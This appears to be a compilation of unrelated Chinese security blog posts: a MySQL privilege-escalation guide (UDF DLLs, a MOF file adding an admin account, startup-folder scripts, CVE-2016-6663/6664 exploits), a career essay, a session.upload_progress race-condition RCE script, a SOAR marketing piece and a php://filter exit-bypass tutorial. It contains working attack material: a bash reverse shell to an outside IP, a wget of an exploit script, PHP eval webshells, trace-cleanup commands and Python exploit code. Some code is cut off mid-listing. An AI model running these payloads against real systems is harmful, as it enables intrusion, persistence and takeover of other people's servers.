mysql提权总结
前言 前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。 UDF提权 何为UDF UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂 UDF利用条件 1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。 关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。 在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。 远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0 光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库 grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges; 关于第三点的secure_file_priv参数,这里有三个值,分别为NULL、/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。 这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。 手动提权 首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件 下载好后进行安装即可 这里使用utf-8字符集 安装好后使用mysql -u root -p进入mysql 因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so 那么这里利用.dll或.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置 首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。 命令如下(这里使用到64位的dll,其他版本改后缀名即可) python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密 python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下 /usr/share/metasploit-framework/data/exploits/mysql/ 直接拿出来使用010 editor进行查看是包含了一些函数 解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置 show variables like "%plugin%"; 这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin 使用select @@basedir查看一下MySQL安装的位置 这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权 首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹 创建plugin文件夹 然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下 这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 这里我上传一个32位的dll到plugin文件夹内 再使用命令创建自定义函数即可 然后使用命令查看是否新增了sys_eval函数 select * from mysql.func; 可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的 拓展:UDF shell 允许外连 这里可以使用写好的大马https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php来自动提权,我们测试一下 首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况 这里进入my.ini文件设置bind-address = 0.0.0.0 然后创建一个admin/123456用户允许外连 再次登录即可登录成功 这里首先dump udf.dll到plugin文件夹下,这里可以看到dump dll成功 然后创建函数,再执行命令即可 不允许外连 这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。 首先测试一下,是不允许外连的(这里图搞错了) 这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了 然后连接的时候设置HTTP隧道 即可连接到mysql,然后提权操作同前 MOF提权 mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。 利用条件 只使用于windows系统,一般低版本系统才可以用,比如xp、server2003 对C:\Windows\System32\wbem\MOF目录有读写权限 可以找到一个可写目录,写入mof文件 手动提权 这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤 生成testmod.mod文件并上传到靶机的可写目录 #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {   EventNamespace = "Root\\Cimv2";   Name = "filtP2";   Query = "Select * From __InstanceModificationEvent "           "Where TargetInstance Isa \"Win32_LocalTime\" "           "And TargetInstance.Second = 5";   QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {   Name = "consPCSV2";   ScriptingEngine = "JScript";   ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; instance of __FilterToConsumerBinding {   Consumer   = $Consumer;   Filter = $EventFilter; }; 进入mysql命令行执行导入命令,导入完成过后系统会自动运行 select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" 使用net user命令即可发现已经加入了管理员组 msf提权 msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能 use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun 拓展 因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果 # 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt 启动项提权 windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。 这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。 启动项路径 在windows2003的系统下,启动项路径如下: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动 在windows2008的系统下,启动项路径如下: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 自动化脚本 我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。 这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码 set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) 使用sql语句 连接到mysql之后创建一个表写入sql语句 use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * fro 重启之后即可提权 CVE-2016-6663&CVE-2016-6664 CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。 CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。 导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。 利用条件 CVE-2016-6663 1.已经getshell,获得www-data权限 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权 4.Mysql<5.5.51或<5.6.32或<5.7.14 CVE-2016-6664 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可) 2.需要在mysql权限下运行才能利用 3.Mysql<5.5.51或<5.6.32或<5.7.14 环境搭建 这里使用到tutum/lamp的镜像环境,运行docker并连接 docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash 安装apt,wget,gcc,libmysqlclient-dev apt updateapt install -y wget gcc libmysqlclient-dev 写入一个一句话木马方便后续连接,这里注意,linux环境下用echo命令写入木马需要加' '进行转义,否则会报错 cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php 给web路径赋予777权限 chmod -R 777 /var/www/html 进入mysql环境添加一个对test库有create,drop,insert,select权限的test用户,密码为123456 将apache2和mysql服务重启并重新保存容器,将新容器的80端口映射到8080端口,3306映射到3306端口的方式运行容器。 service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp 访问一下8080端口若出现如下界面则环境搭建成功 CVE-2016-6663 cve-2016-6663即将www-data权限提升为mysql权限,首先连接我们之前写入的webshell 首先看一下权限跟目录的可执行状况,可以看到html目录下是777 然后写入exp,命名为mysql-privesc-race.c,exp如下所示 #include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_priv 这里我直接用蚁剑执行的话执行不了 使用nc配合bash命令反弹后执行命令,即可从www-data权限提升到mysql权限 nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test CVE-2016-6664 cve-2016-6664即把mysql权限提升到root权限 tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置 vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf 删除掉syslog,然后重启mysql 使用exp #!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates 在刚才mysql权限的shell中下载提权脚本并执行,即可得到root权限 wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log 点击链接开始实验:https://www.yijinglab.com/expc.do?ce=aeffe339-186d-4c81-bcac-c647aa77ddd0 udf通过添加新函数,对MySQL的功能进行扩充,使用UDF提权原理就是通过引入udf.dll,引入自定义函数,执行系统命令。通过实验学习真实渗透场景中的MySQL udf提权方法,掌握两种dll文件导入方式,通过udf提权执行系统命令。
应届生or准应届生甲乙方怎么选
前言 本人情况:三非(非985、211非信安专业),拿过一些国家级奖项,参加过小hvv。暑期找实习的时候,从甲乙方offer中,选择了甲方安全。就着这三个月的甲方工作,对应届生和准应届生的offer该如何选择做一个分析,帮助一下还在找工作的同学。 甲方,乙方 甲方一般是指提出目标的一方,在合同拟订过程中主要是提出要实现什么目标。 乙方一般是指完成目标,在合同中主要是提出如何保证实现,并根据完成情况获取收益的一方。 在合同过程中,甲方主要是监督乙方是否完全按照要求提供自身需求的满足。 在合同执行结束后,甲方一般需要付出资金或者其他,以获得自身需求所需要的东西。通俗点说,甲方就是出钱的,乙方就是出力的。安全中的甲方,大多是监管方(如政府机关中的信安部门)以及互联网公司,乙方自然就是qax、某恒,某信服这些。 差异性 1.薪资。下面的第一张图是北京某互联网公司的薪资,第二张图是国内某一线安全厂商安全实验室薪资,谁高谁低一目了然。尤其在北京这样寸土寸金的地方,多六千块钱的生活质量还是差别挺大的。 2.工作性质。互联网公司的安全工程师,主要是负责公司内部的安全建设,包括对自家开发的各类产品进行渗透测试,一般产品都会在渗透测试通过后方可上线(渗透);自研防火墙、扫描器、蜜罐等安全产品(安全开发);把监管部门的合规要求转换成公司的安全项目来推进,避免上线产品因各种原因导致公司财产遭到损失(安全合规);对公司内安全建设进行推进(安全运营)等等 而乙方的安全岗位主要是有三种,安全驻场,主要负责对部署在甲方上的服务(如WAF、IDS、IPS等设备)进行维护和查看,对甲方的应用进行安全扫描,一般都是使用某ray,某by之类的软件一顿扫即可;渗透测试工程师,给你几个站让你去测试,然后生成一个测试报告,这会比较考验你的基本功是否扎实,因为会涉及到各种的绕过;安全研究工程师,算得上是乙方中站在顶端的岗位,需要你有一个扎实的基础,因为你的kpi可能是某软,某果或者其他大型IT公司的致谢、也可能是挖到了某款CMS的RCE漏洞、亦或是在某hvv项目中崭露头角等等高逼格的成绩 3.个人提升。在笔者角度上看,甲方大部分岗位和安全研究的天花板是很高的。在甲方安全的三个月里,跟不少同事都有接触,告诉我的是,甲方安全更重要的是要把控整个公司的安全视角,将安全问题从发现到治理形成一个完整的闭环,所以不仅需要有一个扎实的基础,还需要有一定的沟通(和业务撕*)能力,以及一颗大心脏,毕竟互联网公司995不是谁都受得了的。再说到安全研究岗,上班的很多时间都是在学习新的东西,比如近几年比较火的ATT&CK框架,研究如何绕过市面上的WAF,复现网上最新的漏洞、编写POC等等。 offer难度 抛开独角兽公司(byte、ali、tx)不说,难度划分:互联网公司安全实验室>一线安全厂商安全实验室研究岗>=甲方互联网公司岗位>渗透测试岗位>驻场。 选择 当然,如果能拿下BAT的offer自然是去BAT了,毕竟没人跟钱过不去。笔者觉得,刚进入安全行业的萌新其实并没有过深的安全知识,如果能到安全实验室的研究岗位去学习深造一年,再去冲击互联网公司,对职业发展来说会大有裨益(安全大佬们请直接冲ali or tx的实验室)。 一些tips 1.因为笔者的三非经历,校内少有安全相关课程,很幸运的加入学校的安全社团,有学长和老师的支持下对安全有了一定的理解,这时候配合蚁景实验室靶场就事半功倍了。 2.安全目前来说还不是很卷,总结一下就是目前开设信安的高校不多,从事安全的同学基本都是自学为主。所以很多身边同事并非科班出身包括自己,大专学历也并非没有,所以感兴趣的同学可以尽早入行上车~ 3.学习安全一定得有明确的学习路线,比如说渗透和安全开发,两者的学习路线就有明显的差异,找到自己的兴趣点,坚持学下去会有收获的。 以上是笔者在实习三个月的感受,欢迎行业内的大佬们进行批评指正~
【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE
什么是session.upload_progress? 与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下: session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.upload_progress.enabled可以控制是否开启session.upload_progress功能 session.upload_progress.cleanup可以控制是否在上传之后删除文件内容 session.upload_progress.prefix可以设置上传文件内容的前缀 session.upload_progress.name的值即为session中的键值 session.upload_progress开启之后会有什么效果? 当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。 问题1: 那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢? 分析1: 我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。 问题2: 当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办? 分析2: 利用Python的多线程,进行条件竞争。 如何利用session.upload_progress进行RCE? 然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。 首先,在网站根目录下随便新建一个test.php文件 然后写一个Python程序用于往服务器上上传文件: 这里有几个注意点: 上传的文件大小为50KB,文件名为Lxxx.jpg 该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件 该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中 import requests import io url = "http://192.168.2.128/test.php" sessid = "Lxxx" def write(session):    filebytes = io.BytesIO(b'a' * 1024 * 50)    while True:        res = session.post(url,            data={                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"               },            cookies={                'PHPSESSID': sessid               },            files={                'file': ('Lxxx.jpg', filebytes)               }           ) if __name__ == "__main__":    with requests.session() as session:        write(session) 执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。 tail -f /tmp/sess_Lxxx 结果如下: 也就是说,/tmp/sess_Lxxx文件中的内容为: upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:16 仔细分析一下该文件内容,该文件分为两块,以竖线|区分。 第一块内容如下: upload_progress_<?php eval($_POST[1]);?> 这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS 第二块内容如下: a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}} 一看就是序列化之后的值,我们将其进行反序列化后输出: array(5) { ["start_time"]=>  int(1631343214) ["content_length"]=>  int(276) ["bytes_processed"]=>  int(276) ["done"]=>  bool(false) ["files"]=>  array(1) {   [0]=>    array(7) {     ["field_name"]=>      string(4) "file"     ["name"]=>      string(8) "Lxxx.jpg"     ["tmp_name"]=>      NULL     ["error"]=>      int(0)     ["done"]=>      bool(false)     ["start_time"]=>      int(1631343214)     ["bytes_processed"]=>      int(276)   } } } 可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。 接下来在网站根目录新建一个test.php文件,文件内容如下: <?php $a = $_GET["a"]; include($a); 很明显有一个文件包含的漏洞。 接下来我们利用session.upload_progress进行条件竞争 以下代码有几个注意点: 首先,函数write和上面的是一样的,这里就不做过多的赘述了 整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2 利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话” 这里利用Python的threading模块,开5个线程进行条件竞争 代码如下: import requestsimport ioimport threadingurl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session): filebytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'f 代码执行结果如下: 一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。 可以在网站根目录看到,成功写入一句话。 参考资料 Nu1L战队的书籍《从0到1 CTFer成长之路》 P140-141 https://www.freebuf.com/vuls/202819.html 点击链接进行实验:https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b
为什么安全编排、自动化和响应 (SOAR)是安全平台的基础?
由于最近的全球健康危机所造成的“新常态”,如今的安全团队面临着越来越多的挑战。疫情的反反复复,那些在太多工具、太多数据中苦苦挣扎的团队发现,协作和交流变得更加困难,因为他们的员工必须转到虚拟安全运营中心 (SOC) 模型中,同时还要应对越来越多的威胁并投入更多的时间来满足家人和家庭需求。  互不关联的团队加速了对开放、互联平台的安全方法的需求。借助这种方法,组织可以:将新的安全工具与现有安全工具整合在一起,进而实现投资最大化;将SOC 分析人员的工作流转移到单个位置,进而提升他们的生产效率;随着 IT 和安全计划的变化为组织提供灵活性。我们对下一代开放、集成安全平台的愿景围绕下述三个主要原则而构建:  1. 开放架构:如今,组织会使用越来越多的不同工具和云平台,因此下一代安全平台必须具有足够的开放性,才能轻松与来自不同供应商的不同工具进行协同。整合现有工具或移动数据通常由于成本过高、过于复杂而让组织无法实施,但是采用基于开源技术并由开放标准机构支持的平台,便能够让团队以标准化的方式将所有工具整合在一起,进而实现现有投资的最大化。  2. 集中式中心:SOC 分析人员可以使用单个主记录系统来管理其工作流程,进而提升工作效率。在开放架构之上而构建的集中式中心提供了一种融合人员、流程和技术的方式。这使得分析人员可以摆脱他们所用的单个工具,并将其工作简化到单个位置,同时仍可从现有工具中发掘有价值的数据,并减少就所有的已部署工具对整个 SOC 进行训练的需求。目标在于在适当的时间自动将适当的信息呈现到适当的人员面前,让问题得到有效而果断的解决。  3. 灵活部署:大多数组织都使用多个云平台和内部解决方案来管理其安全和IT 环境。此外,每个组织通常都处在自己独特的云之旅中。可在任何位置部署的下一代安全平台能够让企业灵活选择目前和将来的最佳选项,同时避免锁定到特定的部署模型。  SOAR 是下一代安全平台的核心  安全编排、自动化和响应 (SOAR) 解决方案基于 Gartner 定义的四个引擎而构建,分别是:工作流和协作、凭证和案例管理、编排和自动化以及威胁情报管理。结合采用这些功能可以将人员、流程和技术融合在一起,进而提高 SOC 生产效率、缩短事件响应 (IR) 时间。因此,这些引擎也能够为强大的安全堆栈提供理想的基础。的确,基于开放架构并采用灵活混合云部署的 SOAR 功能是构建符合这一愿景的安全平台的理想方法。  将 SOAR 置于安全平台的核心有助于团队以集中、协调的方式开展工作,进而实现整个生态系统以及所有安全流程的价值扩展和最大化。将 SOAR 功能整合到下一代安全平台之中,将能够提供一个坚实的基础,进而帮助组织实现诸多优势。  加强安全团队内部和外部的沟通  任何 SOC,尤其是虚拟 SOC,都需要通过无缝协作来指导响应并组织任务 - 这是 SOAR 平台的关键功能之一。团队无需从头开始,只需要遵循动态运行手册中嵌入的工作流程以智能的方式开展工作即可。此外,安全团队可以利用 SOAR的工作流和协作引擎与不同的职能部门(如 IT、法律、人事或 PR 等)的关键参与者进行沟通,进而促进协调一致且有效的响应。  通过集中式案例管理提升效率  SOC 分析人员可以通过案例管理功能提升效率,此类功能可以通过 SOAR 解决方案的集中式中心进行管理,无需在多个工具和仪表板之间来回切换。在案例管理从 SOAR 解决方案扩展到更广泛的安全平台之后,便可为分析人员提供一种通用格式,以供在所有连接的功能中使用。强大的案例管理功能还包括仪表板和报告功能,用以跟踪指标和 KPI、突出显示趋势和差距并提升 SOC 的业务价值。  生态系统深度和广度的最大化  安全团队可以通过开放架构实现其生态系统深度和广度的最大化。借助开放的、基于标准的方法,SOC 团队可以通过跨各种数据源和工具的集成来利用多样化生态系统的功能,同时充分利用现有投资。这些技术的编排能够扩展 SOAR 功能,同时为安全分析人员提供对生态系统的更高可视性。  将 SOAR 置于下一代平台的核心,有助于让客户将 SOAR 的优势扩展到创建SOAR 所针对的 IR 流程之外,进而将漏洞管理、身份管理、DevSecOps 等安全流程涵盖在内。如此一来,不仅从逻辑上扩展了该项投资,进而产生额外的ROI,而且还能够生成有关这些流程的 KPI,用于推动持续改善并转变安全部门与组织其他部门的关系。
PHP伪协议的妙用
filter协议的简单利用: php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 首先给出最简单的文件包含的示例代码: <?php $file = $_GET["file"]; include($file); ?> 在同目录下有一个flag.php文件: <?php $flag = "flag{Lxxx}"; 想要读取flag.php文件,可以利用filter伪协议,传参如下: ?file=php://filter/convert.base64-encode/resource=flag.php 这样即可读到flag.php文件base64加密过后的内容 PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K 然而,对于filter协议,不只有这一种写法: ?file=php://filter/read=convert.base64-encode/resource=flag.php #这一种是指定读链的筛选列表 除了使用convert.base64-encode过滤器,还可以使用其他的一些过滤器,比如字符编码类型的,payload如下: ?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php 得到结果: ?<hp p$ lfga= " lfgaL{xx}x;" 将其解码,同样可以得到flag.php原内容 <?php$str = "lfga= \" lfgaL{xx}x;\"";echo iconv('UCS-2BE', 'UCS-2LE', $str);?> 得到结果: flag = "flag{Lxxx}"; 其他有关PHP支持的字符编码官方文档如下:https://www.php.net/manual/zh/mbstring.supported-encodings.php filter协议的进阶利用: 利用filter伪协议绕过死亡之die、死亡之exit 假设我们有以下代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加exit的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。 分析这几行代码,一共需要我们传两个参数,一个是POST请求的content,另一个是GET请求的filename,而对于GET请求中的filename变量,我们是可以通过php://filter伪协议来控制的,在前面有提到,最常见的方法是使用base64的方法将content解码后传入。 base64编码绕过: 假设我们先随便传入一句话木马: ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 这个时候我们打开1.php文件: 可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了base64解码,而且前面的死亡之exit也进行了解码。 我们仔细分析一下死亡之exit的代码: <?php exit; ?> base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。 例如: <?php$str = "THh4eA==";echo base64_decode($str);?> 得到结果:Lxxx 如果我们在str变量中添加一些不可见的字符或者是不可解码字符(\x00,?) <?php$str = "TH?h4eA==";echo base64_decode($str);?> 得到的结果仍然为:Lxxx 